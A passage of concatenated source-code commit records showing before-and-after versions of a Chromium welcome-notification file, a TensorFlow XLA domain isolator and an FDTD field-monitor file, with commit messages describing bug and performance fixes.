pref_service->GetBoolean(\n prefs::kWelcomeNotificationPreviouslyPoppedUp)\n ? POP_UP_HIDDEN\n : POP_UP_SHOWN;\n if (pop_up_request == POP_UP_SHOWN) {\n pref_service->SetBoolean(\n prefs::kWelcomeNotificationPreviouslyPoppedUp, true);\n }\n\n if (IsWelcomeNotificationExpired()) {\n ExpireWelcomeNotification();\n } else {\n ShowWelcomeNotification(\n notification.display_source(), pop_up_request);\n }\n }\n } else {\n delayed_notification_.reset(new Notification(notification));\n pref_service_syncable->AddObserver(this);\n }\n }\n}\n\n\/\/ static\nvoid ExtensionWelcomeNotification::RegisterProfilePrefs(\n user_prefs::PrefRegistrySyncable* prefs) {\n prefs->RegisterBooleanPref(prefs::kWelcomeNotificationDismissed,\n false,\n user_prefs::PrefRegistrySyncable::SYNCABLE_PREF);\n prefs->RegisterBooleanPref(prefs::kWelcomeNotificationDismissedLocal,\n false,\n user_prefs::PrefRegistrySyncable::UNSYNCABLE_PREF);\n prefs->RegisterBooleanPref(prefs::kWelcomeNotificationPreviouslyPoppedUp,\n false,\n user_prefs::PrefRegistrySyncable::UNSYNCABLE_PREF);\n prefs->RegisterInt64Pref(prefs::kWelcomeNotificationExpirationTimestamp,\n 0,\n user_prefs::PrefRegistrySyncable::UNSYNCABLE_PREF);\n}\n\nmessage_center::MessageCenter*\nExtensionWelcomeNotification::GetMessageCenter() const {\n return delegate_->GetMessageCenter();\n}\n\nvoid ExtensionWelcomeNotification::ShowWelcomeNotification(\n const base::string16& display_source,\n const PopUpRequest pop_up_request) {\n message_center::ButtonInfo learn_more(\n l10n_util::GetStringUTF16(IDS_NOTIFICATION_WELCOME_BUTTON_LEARN_MORE));\n learn_more.icon = ui::ResourceBundle::GetSharedInstance().GetImageNamed(\n IDR_NOTIFICATION_WELCOME_LEARN_MORE);\n message_center::ButtonInfo disable(\n l10n_util::GetStringUTF16(IDS_NOTIFIER_WELCOME_BUTTON));\n disable.icon = ui::ResourceBundle::GetSharedInstance().GetImageNamed(\n IDR_NOTIFIER_BLOCK_BUTTON);\n\n message_center::RichNotificationData rich_notification_data;\n rich_notification_data.priority = 2;\n rich_notification_data.buttons.push_back(learn_more);\n rich_notification_data.buttons.push_back(disable);\n\n if (welcome_notification_id_.empty())\n welcome_notification_id_ = base::GenerateGUID();\n\n if (!welcome_notification_id_.empty()) {\n scoped_ptr<message_center::Notification> message_center_notification(\n new message_center::Notification(\n message_center::NOTIFICATION_TYPE_BASE_FORMAT,\n welcome_notification_id_,\n l10n_util::GetStringUTF16(IDS_NOTIFICATION_WELCOME_TITLE),\n l10n_util::GetStringUTF16(IDS_NOTIFICATION_WELCOME_BODY),\n ui::ResourceBundle::GetSharedInstance().GetImageNamed(\n IDR_NOTIFICATION_WELCOME_ICON),\n display_source,\n notifier_id_,\n rich_notification_data,\n new NotificationCallbacks(\n profile_, notifier_id_, welcome_notification_id_,\n delegate_.get())));\n\n if (pop_up_request == POP_UP_HIDDEN)\n message_center_notification->set_shown_as_popup(true);\n\n GetMessageCenter()->AddNotification(message_center_notification.Pass());\n StartExpirationTimer();\n }\n}\n\nvoid ExtensionWelcomeNotification::HideWelcomeNotification() {\n if (!welcome_notification_id_.empty() &&\n GetMessageCenter()->HasNotification(welcome_notification_id_)) {\n GetMessageCenter()->RemoveNotification(welcome_notification_id_, false);\n StopExpirationTimer();\n }\n}\n\nbool ExtensionWelcomeNotification::UserHasDismissedWelcomeNotification() const {\n \/\/ This was previously a syncable preference; now it's per-machine.\n \/\/ Only the local pref will be written moving forward, but check for both so\n \/\/ users won't be double-toasted.\n bool shown_synced = profile_->GetPrefs()->GetBoolean(\n prefs::kWelcomeNotificationDismissed);\n bool shown_local = profile_->GetPrefs()->GetBoolean(\n prefs::kWelcomeNotificationDismissedLocal);\n return (shown_synced || shown_local);\n}\n\nvoid ExtensionWelcomeNotification::OnWelcomeNotificationDismissedChanged() {\n if (UserHasDismissedWelcomeNotification()) {\n HideWelcomeNotification();\n }\n}\n\nvoid ExtensionWelcomeNotification::StartExpirationTimer() {\n if (!expiration_timer_ && !IsWelcomeNotificationExpired()) {\n base::Time expiration_timestamp = GetExpirationTimestamp();\n if (expiration_timestamp.is_null()) {\n SetExpirationTimestampFromNow();\n expiration_timestamp = GetExpirationTimestamp();\n DCHECK(!expiration_timestamp.is_null());\n }\n expiration_timer_.reset(\n new base::OneShotTimer<ExtensionWelcomeNotification>());\n expiration_timer_->Start(\n FROM_HERE,\n expiration_timestamp - delegate_->GetCurrentTime(),\n this,\n &ExtensionWelcomeNotification::ExpireWelcomeNotification);\n }\n}\n\nvoid ExtensionWelcomeNotification::StopExpirationTimer() {\n if (expiration_timer_) {\n expiration_timer_->Stop();\n expiration_timer_.reset();\n }\n}\n\nvoid ExtensionWelcomeNotification::ExpireWelcomeNotification() {\n DCHECK(IsWelcomeNotificationExpired());\n profile_->GetPrefs()->SetBoolean(\n prefs::kWelcomeNotificationDismissedLocal, true);\n HideWelcomeNotification();\n}\n\nbase::Time ExtensionWelcomeNotification::GetExpirationTimestamp() const {\n PrefService* const pref_service = profile_->GetPrefs();\n const int64 expiration_timestamp =\n pref_service->GetInt64(prefs::kWelcomeNotificationExpirationTimestamp);\n return (expiration_timestamp == 0)\n ? base::Time()\n : base::Time::FromInternalValue(expiration_timestamp);\n}\n\nvoid ExtensionWelcomeNotification::SetExpirationTimestampFromNow() {\n PrefService* const pref_service = profile_->GetPrefs();\n pref_service->SetInt64(\n prefs::kWelcomeNotificationExpirationTimestamp,\n (delegate_->GetCurrentTime() +\n base::TimeDelta::FromDays(kRequestedShowTimeDays)).ToInternalValue());\n}\n\nbool ExtensionWelcomeNotification::IsWelcomeNotificationExpired() const {\n const base::Time expiration_timestamp = GetExpirationTimestamp();\n return !expiration_timestamp.is_null() &&\n (expiration_timestamp <= delegate_->GetCurrentTime());\n}\n<commit_msg>Fix Crash Due to Programmatic Dismissal of a Notification.<commit_after>\/\/ Copyright 2014 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/notifications\/extension_welcome_notification.h\"\n\n#include \"base\/guid.h\"\n#include \"base\/lazy_instance.h\"\n#include \"base\/message_loop\/message_loop.h\"\n#include \"base\/prefs\/pref_service.h\"\n#include \"base\/strings\/utf_string_conversions.h\"\n#include \"chrome\/browser\/browser_process.h\"\n#include \"chrome\/browser\/notifications\/notification.h\"\n#include \"chrome\/browser\/prefs\/pref_service_syncable.h\"\n#include \"chrome\/browser\/profiles\/profile.h\"\n#include \"chrome\/browser\/ui\/browser_navigator.h\"\n#include \"chrome\/common\/pref_names.h\"\n#include \"chrome\/common\/url_constants.h\"\n#include \"components\/user_prefs\/pref_registry_syncable.h\"\n#include \"grit\/generated_resources.h\"\n#include \"grit\/theme_resources.h\"\n#include \"ui\/base\/l10n\/l10n_util.h\"\n#include \"ui\/base\/resource\/resource_bundle.h\"\n#include \"ui\/message_center\/message_center.h\"\n#include \"ui\/message_center\/notification.h\"\n#include \"ui\/message_center\/notification_delegate.h\"\n#include \"ui\/message_center\/notification_types.h\"\n\nconst int ExtensionWelcomeNotification::kRequestedShowTimeDays = 14;\n\nnamespace {\n\nclass NotificationCallbacks\n : public message_center::NotificationDelegate {\n public:\n NotificationCallbacks(\n Profile* profile,\n const message_center::NotifierId notifier_id,\n const std::string& welcome_notification_id,\n ExtensionWelcomeNotification::Delegate* delegate)\n : profile_(profile),\n notifier_id_(notifier_id.type, notifier_id.id),\n welcome_notification_id_(welcome_notification_id),\n delegate_(delegate) {\n }\n\n \/\/ Overridden from NotificationDelegate:\n virtual void Display() OVERRIDE {}\n virtual void Error() OVERRIDE {}\n\n virtual void Close(bool by_user) OVERRIDE {\n if (by_user) {\n \/\/ Setting the preference here may cause the notification erasing\n \/\/ to reenter. Posting a task avoids this issue.\n delegate_->PostTask(\n FROM_HERE,\n base::Bind(&NotificationCallbacks::MarkAsDismissed, this));\n }\n }\n\n virtual void Click() OVERRIDE {}\n virtual void ButtonClick(int index) OVERRIDE {\n if (index == 0) {\n OpenNotificationLearnMoreTab();\n } else if (index == 1) {\n DisableNotificationProvider();\n Close(true);\n } else {\n NOTREACHED();\n }\n }\n\n private:\n void MarkAsDismissed() {\n profile_->GetPrefs()->SetBoolean(prefs::kWelcomeNotificationDismissedLocal,\n true);\n }\n\n void OpenNotificationLearnMoreTab() {\n chrome::NavigateParams params(\n profile_,\n GURL(chrome::kNotificationWelcomeLearnMoreURL),\n content::PAGE_TRANSITION_LINK);\n params.disposition = NEW_FOREGROUND_TAB;\n params.window_action = chrome::NavigateParams::SHOW_WINDOW;\n chrome::Navigate(¶ms);\n }\n\n void DisableNotificationProvider() {\n message_center::Notifier notifier(notifier_id_, base::string16(), true);\n message_center::MessageCenter* message_center =\n delegate_->GetMessageCenter();\n message_center->DisableNotificationsByNotifier(notifier_id_);\n message_center->RemoveNotification(welcome_notification_id_, false);\n message_center->GetNotifierSettingsProvider()->SetNotifierEnabled(\n notifier, false);\n }\n\n virtual ~NotificationCallbacks() {}\n\n Profile* const profile_;\n\n const message_center::NotifierId notifier_id_;\n\n std::string welcome_notification_id_;\n\n \/\/ Weak ref owned by ExtensionWelcomeNotification.\n ExtensionWelcomeNotification::Delegate* const delegate_;\n\n DISALLOW_COPY_AND_ASSIGN(NotificationCallbacks);\n};\n\nclass DefaultDelegate : public ExtensionWelcomeNotification::Delegate {\n public:\n DefaultDelegate() {}\n\n virtual message_center::MessageCenter* GetMessageCenter() OVERRIDE {\n return g_browser_process->message_center();\n }\n\n virtual base::Time GetCurrentTime() OVERRIDE {\n return base::Time::Now();\n }\n\n virtual void PostTask(\n const tracked_objects::Location& from_here,\n const base::Closure& task) OVERRIDE {\n base::MessageLoop::current()->PostTask(from_here, task);\n }\n\n private:\n DISALLOW_COPY_AND_ASSIGN(DefaultDelegate);\n};\n\n} \/\/ namespace\n\nExtensionWelcomeNotification::ExtensionWelcomeNotification(\n const std::string& extension_id,\n Profile* const profile,\n ExtensionWelcomeNotification::Delegate* const delegate)\n : notifier_id_(message_center::NotifierId::APPLICATION, extension_id),\n profile_(profile),\n delegate_(delegate) {\n welcome_notification_dismissed_pref_.Init(\n prefs::kWelcomeNotificationDismissed,\n profile_->GetPrefs(),\n base::Bind(\n &ExtensionWelcomeNotification::OnWelcomeNotificationDismissedChanged,\n base::Unretained(this)));\n welcome_notification_dismissed_local_pref_.Init(\n prefs::kWelcomeNotificationDismissedLocal,\n profile_->GetPrefs());\n}\n\n\/\/ static\nscoped_ptr<ExtensionWelcomeNotification> ExtensionWelcomeNotification::Create(\n const std::string& extension_id,\n Profile* const profile) {\n return Create(extension_id, profile, new DefaultDelegate()).Pass();\n}\n\n\/\/ static\nscoped_ptr<ExtensionWelcomeNotification> ExtensionWelcomeNotification::Create(\n const std::string& extension_id,\n Profile* const profile,\n Delegate* const delegate) {\n return scoped_ptr<ExtensionWelcomeNotification>(\n new ExtensionWelcomeNotification(extension_id, profile, delegate)).Pass();\n}\n\nExtensionWelcomeNotification::~ExtensionWelcomeNotification() {\n if (delayed_notification_) {\n delayed_notification_.reset();\n PrefServiceSyncable::FromProfile(profile_)->RemoveObserver(this);\n } else {\n HideWelcomeNotification();\n }\n}\n\nvoid ExtensionWelcomeNotification::OnIsSyncingChanged() {\n DCHECK(delayed_notification_);\n PrefServiceSyncable* const pref_service_syncable =\n PrefServiceSyncable::FromProfile(profile_);\n if (pref_service_syncable->IsSyncing()) {\n pref_service_syncable->RemoveObserver(this);\n scoped_ptr<Notification> previous_notification(\n delayed_notification_.release());\n ShowWelcomeNotificationIfNecessary(*(previous_notification.get()));\n }\n}\n\nvoid ExtensionWelcomeNotification::ShowWelcomeNotificationIfNecessary(\n const Notification& notification) {\n if ((notification.notifier_id() == notifier_id_) && !delayed_notification_) {\n PrefServiceSyncable* const pref_service_syncable =\n PrefServiceSyncable::FromProfile(profile_);\n if (pref_service_syncable->IsSyncing()) {\n PrefService* const pref_service = profile_->GetPrefs();\n if (!UserHasDismissedWelcomeNotification()) {\n const PopUpRequest pop_up_request =\n pref_service->GetBoolean(\n prefs::kWelcomeNotificationPreviouslyPoppedUp)\n ? POP_UP_HIDDEN\n : POP_UP_SHOWN;\n if (pop_up_request == POP_UP_SHOWN) {\n pref_service->SetBoolean(\n prefs::kWelcomeNotificationPreviouslyPoppedUp, true);\n }\n\n if (IsWelcomeNotificationExpired()) {\n ExpireWelcomeNotification();\n } else {\n ShowWelcomeNotification(\n notification.display_source(), pop_up_request);\n }\n }\n } else {\n delayed_notification_.reset(new Notification(notification));\n pref_service_syncable->AddObserver(this);\n }\n }\n}\n\n\/\/ static\nvoid ExtensionWelcomeNotification::RegisterProfilePrefs(\n user_prefs::PrefRegistrySyncable* prefs) {\n prefs->RegisterBooleanPref(prefs::kWelcomeNotificationDismissed,\n false,\n user_prefs::PrefRegistrySyncable::SYNCABLE_PREF);\n prefs->RegisterBooleanPref(prefs::kWelcomeNotificationDismissedLocal,\n false,\n user_prefs::PrefRegistrySyncable::UNSYNCABLE_PREF);\n prefs->RegisterBooleanPref(prefs::kWelcomeNotificationPreviouslyPoppedUp,\n false,\n user_prefs::PrefRegistrySyncable::UNSYNCABLE_PREF);\n prefs->RegisterInt64Pref(prefs::kWelcomeNotificationExpirationTimestamp,\n 0,\n user_prefs::PrefRegistrySyncable::UNSYNCABLE_PREF);\n}\n\nmessage_center::MessageCenter*\nExtensionWelcomeNotification::GetMessageCenter() const {\n return delegate_->GetMessageCenter();\n}\n\nvoid ExtensionWelcomeNotification::ShowWelcomeNotification(\n const base::string16& display_source,\n const PopUpRequest pop_up_request) {\n message_center::ButtonInfo learn_more(\n l10n_util::GetStringUTF16(IDS_NOTIFICATION_WELCOME_BUTTON_LEARN_MORE));\n learn_more.icon = ui::ResourceBundle::GetSharedInstance().GetImageNamed(\n IDR_NOTIFICATION_WELCOME_LEARN_MORE);\n message_center::ButtonInfo disable(\n l10n_util::GetStringUTF16(IDS_NOTIFIER_WELCOME_BUTTON));\n disable.icon = ui::ResourceBundle::GetSharedInstance().GetImageNamed(\n IDR_NOTIFIER_BLOCK_BUTTON);\n\n message_center::RichNotificationData rich_notification_data;\n rich_notification_data.priority = 2;\n rich_notification_data.buttons.push_back(learn_more);\n rich_notification_data.buttons.push_back(disable);\n\n if (welcome_notification_id_.empty())\n welcome_notification_id_ = base::GenerateGUID();\n\n if (!welcome_notification_id_.empty()) {\n scoped_ptr<message_center::Notification> message_center_notification(\n new message_center::Notification(\n message_center::NOTIFICATION_TYPE_BASE_FORMAT,\n welcome_notification_id_,\n l10n_util::GetStringUTF16(IDS_NOTIFICATION_WELCOME_TITLE),\n l10n_util::GetStringUTF16(IDS_NOTIFICATION_WELCOME_BODY),\n ui::ResourceBundle::GetSharedInstance().GetImageNamed(\n IDR_NOTIFICATION_WELCOME_ICON),\n display_source,\n notifier_id_,\n rich_notification_data,\n new NotificationCallbacks(\n profile_, notifier_id_, welcome_notification_id_,\n delegate_.get())));\n\n if (pop_up_request == POP_UP_HIDDEN)\n message_center_notification->set_shown_as_popup(true);\n\n GetMessageCenter()->AddNotification(message_center_notification.Pass());\n StartExpirationTimer();\n }\n}\n\nvoid ExtensionWelcomeNotification::HideWelcomeNotification() {\n if (!welcome_notification_id_.empty() &&\n GetMessageCenter()->HasNotification(welcome_notification_id_)) {\n GetMessageCenter()->RemoveNotification(welcome_notification_id_, false);\n StopExpirationTimer();\n }\n}\n\nbool ExtensionWelcomeNotification::UserHasDismissedWelcomeNotification() const {\n \/\/ This was previously a syncable preference; now it's per-machine.\n \/\/ Only the local pref will be written moving forward, but check for both so\n \/\/ users won't be double-toasted.\n bool shown_synced = profile_->GetPrefs()->GetBoolean(\n prefs::kWelcomeNotificationDismissed);\n bool shown_local = profile_->GetPrefs()->GetBoolean(\n prefs::kWelcomeNotificationDismissedLocal);\n return (shown_synced || shown_local);\n}\n\nvoid ExtensionWelcomeNotification::OnWelcomeNotificationDismissedChanged() {\n if (UserHasDismissedWelcomeNotification()) {\n HideWelcomeNotification();\n }\n}\n\nvoid ExtensionWelcomeNotification::StartExpirationTimer() {\n if (!expiration_timer_ && !IsWelcomeNotificationExpired()) {\n base::Time expiration_timestamp = GetExpirationTimestamp();\n if (expiration_timestamp.is_null()) {\n SetExpirationTimestampFromNow();\n expiration_timestamp = GetExpirationTimestamp();\n DCHECK(!expiration_timestamp.is_null());\n }\n expiration_timer_.reset(\n new base::OneShotTimer<ExtensionWelcomeNotification>());\n expiration_timer_->Start(\n FROM_HERE,\n expiration_timestamp - delegate_->GetCurrentTime(),\n this,\n &ExtensionWelcomeNotification::ExpireWelcomeNotification);\n }\n}\n\nvoid ExtensionWelcomeNotification::StopExpirationTimer() {\n if (expiration_timer_) {\n expiration_timer_->Stop();\n expiration_timer_.reset();\n }\n}\n\nvoid ExtensionWelcomeNotification::ExpireWelcomeNotification() {\n DCHECK(IsWelcomeNotificationExpired());\n profile_->GetPrefs()->SetBoolean(\n prefs::kWelcomeNotificationDismissedLocal, true);\n HideWelcomeNotification();\n}\n\nbase::Time ExtensionWelcomeNotification::GetExpirationTimestamp() const {\n PrefService* const pref_service = profile_->GetPrefs();\n const int64 expiration_timestamp =\n pref_service->GetInt64(prefs::kWelcomeNotificationExpirationTimestamp);\n return (expiration_timestamp == 0)\n ? base::Time()\n : base::Time::FromInternalValue(expiration_timestamp);\n}\n\nvoid ExtensionWelcomeNotification::SetExpirationTimestampFromNow() {\n PrefService* const pref_service = profile_->GetPrefs();\n pref_service->SetInt64(\n prefs::kWelcomeNotificationExpirationTimestamp,\n (delegate_->GetCurrentTime() +\n base::TimeDelta::FromDays(kRequestedShowTimeDays)).ToInternalValue());\n}\n\nbool ExtensionWelcomeNotification::IsWelcomeNotificationExpired() const {\n const base::Time expiration_timestamp = GetExpirationTimestamp();\n return !expiration_timestamp.is_null() &&\n (expiration_timestamp <= delegate_->GetCurrentTime());\n}\n<|endoftext|>"} {"text":"<commit_before>\/* Copyright 2018 The TensorFlow Authors. All Rights Reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n==============================================================================*\/\n\n#include \"tensorflow\/compiler\/xla\/service\/hlo_domain_isolator.h\"\n\n#include \"tensorflow\/compiler\/xla\/map_util.h\"\n#include \"tensorflow\/compiler\/xla\/service\/hlo_computation.h\"\n#include \"tensorflow\/compiler\/xla\/service\/hlo_graph_dumper.h\"\n#include \"tensorflow\/compiler\/xla\/service\/hlo_opcode.h\"\n#include \"tensorflow\/compiler\/xla\/types.h\"\n\nnamespace xla {\n\nnamespace {\n\nStatusOr<bool> RunInternal(HloModule* module,\n HloDomainIsolator::DomainCreator* creator) {\n int64 added_domains = 0;\n for (HloComputation* computation : module->computations()) {\n \/\/ Walk in post order and place all the required kDomain instructions.\n for (HloInstruction* instruction :\n computation->MakeInstructionPostOrder()) {\n if (instruction->opcode() == HloOpcode::kDomain) {\n continue;\n }\n for (HloInstruction* operand : instruction->unique_operands()) {\n \/\/ When applying multiple domains, we could end up stacking more than\n \/\/ one in one edge, so here we want to build the effective\n \/\/ (kDomain-less) instruction->operand edge.\n HloInstruction* root = operand;\n while (root->opcode() == HloOpcode::kDomain) {\n root = root->mutable_operand(0);\n }\n \/\/ Check whether a kDomain is necessary between instruction and operand.\n HloInstruction* domain = (*creator)(instruction, root, operand);\n if (domain != nullptr) {\n VLOG(4) << \"New domain: \" << domain->ToString();\n TF_RETURN_IF_ERROR(operand->ReplaceUseWith(instruction, domain));\n ++added_domains;\n }\n }\n }\n }\n VLOG(3) << \"Added \" << added_domains << \" kDomain instructions\";\n return added_domains > 0;\n}\n\n} \/\/ namespace\n\nHloDomainIsolator::HloDomainIsolator(DomainCreatorFactory creator_factory)\n : creator_factory_(std::move(creator_factory)) {}\n\nStatusOr<bool> HloDomainIsolator::Run(HloModule* module) {\n DomainCreator creator = creator_factory_();\n return RunInternal(module, &creator);\n}\n\n} \/\/ namespace xla\n<commit_msg>Improve performance of domain isolator<commit_after>\/* Copyright 2018 The TensorFlow Authors. All Rights Reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n==============================================================================*\/\n\n#include \"tensorflow\/compiler\/xla\/service\/hlo_domain_isolator.h\"\n\n#include \"tensorflow\/compiler\/xla\/map_util.h\"\n#include \"tensorflow\/compiler\/xla\/service\/hlo_computation.h\"\n#include \"tensorflow\/compiler\/xla\/service\/hlo_graph_dumper.h\"\n#include \"tensorflow\/compiler\/xla\/service\/hlo_opcode.h\"\n#include \"tensorflow\/compiler\/xla\/types.h\"\n\nnamespace xla {\n\nnamespace {\n\nStatusOr<bool> RunInternal(HloModule* module,\n HloDomainIsolator::DomainCreator* creator) {\n int64 added_domains = 0;\n for (HloComputation* computation : module->computations()) {\n \/\/ Walk in post order and place all the required kDomain instructions.\n for (HloInstruction* instruction :\n computation->MakeInstructionPostOrder()) {\n if (instruction->opcode() == HloOpcode::kDomain) {\n continue;\n }\n for (HloInstruction* operand : instruction->unique_operands()) {\n \/\/ When applying multiple domains, we could end up stacking more than\n \/\/ one in one edge, so here we want to build the effective\n \/\/ (kDomain-less) instruction->operand edge.\n HloInstruction* root = operand;\n while (root->opcode() == HloOpcode::kDomain) {\n root = root->mutable_operand(0);\n }\n \/\/ Check whether a kDomain is necessary between instruction and operand.\n HloInstruction* domain = (*creator)(instruction, root, operand);\n if (domain != nullptr) {\n VLOG(4) << \"New domain: \" << domain->ToString();\n \/\/ Call ReplaceUseWithDifferentShape even though the shapes are\n \/\/ expected to match to avoid an expensive shape check between the\n \/\/ original and the new instruction.\n TF_RETURN_IF_ERROR(\n operand->ReplaceUseWithDifferentShape(instruction, domain));\n ++added_domains;\n }\n }\n }\n }\n VLOG(3) << \"Added \" << added_domains << \" kDomain instructions\";\n return added_domains > 0;\n}\n\n} \/\/ namespace\n\nHloDomainIsolator::HloDomainIsolator(DomainCreatorFactory creator_factory)\n : creator_factory_(std::move(creator_factory)) {}\n\nStatusOr<bool> HloDomainIsolator::Run(HloModule* module) {\n DomainCreator creator = creator_factory_();\n return RunInternal(module, &creator);\n}\n\n} \/\/ namespace xla\n<|endoftext|>"} {"text":"<commit_before>#include <vector>\n#include <string>\n#include <iostream>\n#include <math.h>\n#include \"matrix.h\"\n#include \"field2.h\"\n#include \"h5out.h\"\n\nusing namespace std;\n\nint get_direction(vector<int> p1, vector<int> p2) {\n if (p1[0] == p2[0])\n return 1;\n else if (p1[1] == p2[1])\n return 0;\n else\n return 2;\n}\n\nvoid monitor::set_F(Field2D *newF) {\n F = newF;\n}\n\nsurface_monitor::surface_monitor(string name, vector<int> p1, vector<int> p2, double *freq, int N): monitor(name,freq,N), p1(p1), p2(p2) {\n F = nullptr;\n dir = get_direction(p1, p2);\n length = p2[dir] - p1[dir] + 1;\n prevE = new double[length];\n rE = matrix<double>(new double[N*length], length, N);\n iE = matrix<double>(new double[N*length], length, N);\n rH = matrix<double>(new double[N*length], length, N);\n iH = matrix<double>(new double[N*length], length, N);\n for (int i = 0; i != length; i++) {\n prevE[i] = 0;\n for (int j = 0; j!= N; j++) {\n rE[i][j] = 0;\n iE[i][j] = 0;\n rH[i][j] = 0;\n iH[i][j] = 0;\n }\n }\n}\n\nsurface_monitor::surface_monitor(string name, vector<int> p1, vector<int> p2, double fmin, double fmax, int N): \n surface_monitor(name, p1, p2, nullptr, N) {\n freq = new double[N];\n for (int i = 0; i != N; i ++) {\n freq[i] = fmin + (fmax-fmin)\/(N-1.0)*i;\n }\n}\n\nsurface_monitor::surface_monitor(string name, vector<int> p1, vector<int> p2, double f): \n surface_monitor(name, p1, p2, nullptr, 1) {\n freq = new double[1];\n freq[0] = f;\n}\n\n\nvoid surface_monitor::update() {\n matrix<double> *Hfield;\n if (dir == 0)\n Hfield = &F->Hx;\n if (dir == 1)\n Hfield = &F->Hy;\n\n int a = p1[0];\n int b = p1[1];\n double E, H;\n \/\/this if check could be done outside the for loop somehow\n for (int i = 0; i != length; i++) {\n if (dir == 0) {\n a = p1[0] + i;\n E = (prevE[i] + F->Ez[a][b])\/2;\n H = ((*Hfield)[a][b] + (*Hfield)[a-1][b-1])\/2;\n }\n else if (dir == 1) {\n b = p1[1] + i;\n E = (prevE[i] + F->Ez[a][b])\/2;\n H = ((*Hfield)[a][b] + (*Hfield)[a][b-1])\/2;\n }\n prevE[i] = F->Ez[a][b]\/2;\n\n for (int j = 0; j != N; j++) {\n rE[i][j] += E*cos(2*M_PI*freq[j]*F->t);\n iE[i][j] += E*sin(2*M_PI*freq[j]*F->t);\n rH[i][j] += H*cos(2*M_PI*freq[j]*F->t);\n iH[i][j] += H*sin(2*M_PI*freq[j]*F->t);\n }\n }\n}\n\nvoid surface_monitor::write(string filename, bool extendable) {\n double *S = new double[N];\n for (int i = 0; i != N; i++) \n S[i] = 0;\n\n for (int j = 0; j != N; j++) {\n for (int i = 0; i != length; i++) {\n S[j] += rE[i][j]*rH[i][j] + iE[i][j]*iH[i][j];\n }\n S[j] *= F->dx;\n }\n\n F->write_monitor(filename, name, S, N, extendable); \n delete[] S;\n}\n\n\/\/none of this below actually works\n\/\/Consider the following: box_monitor doesn't call surface_monitor, but the code used in surface_monitor\n\/\/ can be externalized so that both can use it\n\/\/For corners, first study using 4 surface_monitors directly\n\nbox_monitor::box_monitor(string name, vector<int> p1, vector<int> p2, double *freq, int N):\n monitor(name, freq, N) {\n monitors = new surface_monitor[4];\n monitors[0] = surface_monitor(name + \"_1\", p1, {p2[0], p1[1]}, freq, N);\n monitors[1] = surface_monitor(name + \"_2\", {p2[0], p1[1]}, p2, freq, N);\n monitors[2] = surface_monitor(name + \"_3\", {p1[1], p2[0]}, p2, freq, N);\n monitors[3] = surface_monitor(name + \"_4\", p1, {p1[1], p2[0]}, freq, N);\n}\n\nbox_monitor::box_monitor(std::string name, std::vector<int> p1, std::vector<int> p2, double fmin, double fmax, int N):\n box_monitor(name, p1 p2, nullptr, N) {\n freq = new double[N];\n for (int i = 0; i != N; i ++) {\n freq[i] = fmin + (fmax-fmin)\/(N-1.0)*i;\n }\n}\n\nbox_monitor::box_monitor(std::string name, std::vector<int> p1, std::vector<int> p2, double f);\n box_monitor(name, p1 p2, nullptr, 1) {\n freq = new double[1];\n freq[0] = f;\n}\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<commit_msg>fixed another crucial oneline bug in monitor<commit_after>#include <vector>\n#include <string>\n#include <iostream>\n#include <math.h>\n#include \"matrix.h\"\n#include \"field2.h\"\n#include \"h5out.h\"\n\nusing namespace std;\n\nint get_direction(vector<int> p1, vector<int> p2) {\n if (p1[0] == p2[0])\n return 1;\n else if (p1[1] == p2[1])\n return 0;\n else\n return 2;\n}\n\nvoid monitor::set_F(Field2D *newF) {\n F = newF;\n}\n\nsurface_monitor::surface_monitor(string name, vector<int> p1, vector<int> p2, double *freq, int N): monitor(name,freq,N), p1(p1), p2(p2) {\n F = nullptr;\n dir = get_direction(p1, p2);\n length = p2[dir] - p1[dir] + 1;\n prevE = new double[length];\n rE = matrix<double>(new double[N*length], length, N);\n iE = matrix<double>(new double[N*length], length, N);\n rH = matrix<double>(new double[N*length], length, N);\n iH = matrix<double>(new double[N*length], length, N);\n for (int i = 0; i != length; i++) {\n prevE[i] = 0;\n for (int j = 0; j!= N; j++) {\n rE[i][j] = 0;\n iE[i][j] = 0;\n rH[i][j] = 0;\n iH[i][j] = 0;\n }\n }\n}\n\nsurface_monitor::surface_monitor(string name, vector<int> p1, vector<int> p2, double fmin, double fmax, int N): \n surface_monitor(name, p1, p2, nullptr, N) {\n freq = new double[N];\n for (int i = 0; i != N; i ++) {\n freq[i] = fmin + (fmax-fmin)\/(N-1.0)*i;\n }\n}\n\nsurface_monitor::surface_monitor(string name, vector<int> p1, vector<int> p2, double f): \n surface_monitor(name, p1, p2, nullptr, 1) {\n freq = new double[1];\n freq[0] = f;\n}\n\n\nvoid surface_monitor::update() {\n matrix<double> *Hfield;\n if (dir == 0)\n Hfield = &F->Hx;\n if (dir == 1)\n Hfield = &F->Hy;\n\n int a = p1[0];\n int b = p1[1];\n double E, H;\n \/\/this if check could be done outside the for loop somehow\n for (int i = 0; i != length; i++) {\n if (dir == 0) {\n a = p1[0] + i;\n E = (prevE[i] + F->Ez[a][b])\/2;\n H = ((*Hfield)[a][b] + (*Hfield)[a-1][b-1])\/2;\n }\n else if (dir == 1) {\n b = p1[1] + i;\n E = (prevE[i] + F->Ez[a][b])\/2;\n H = ((*Hfield)[a][b] + (*Hfield)[a][b-1])\/2;\n }\n prevE[i] = F->Ez[a][b];\n\n for (int j = 0; j != N; j++) {\n rE[i][j] += E*cos(2*M_PI*freq[j]*F->t);\n iE[i][j] += E*sin(2*M_PI*freq[j]*F->t);\n rH[i][j] += H*cos(2*M_PI*freq[j]*F->t);\n iH[i][j] += H*sin(2*M_PI*freq[j]*F->t);\n }\n }\n}\n\nvoid surface_monitor::write(string filename, bool extendable) {\n double *S = new 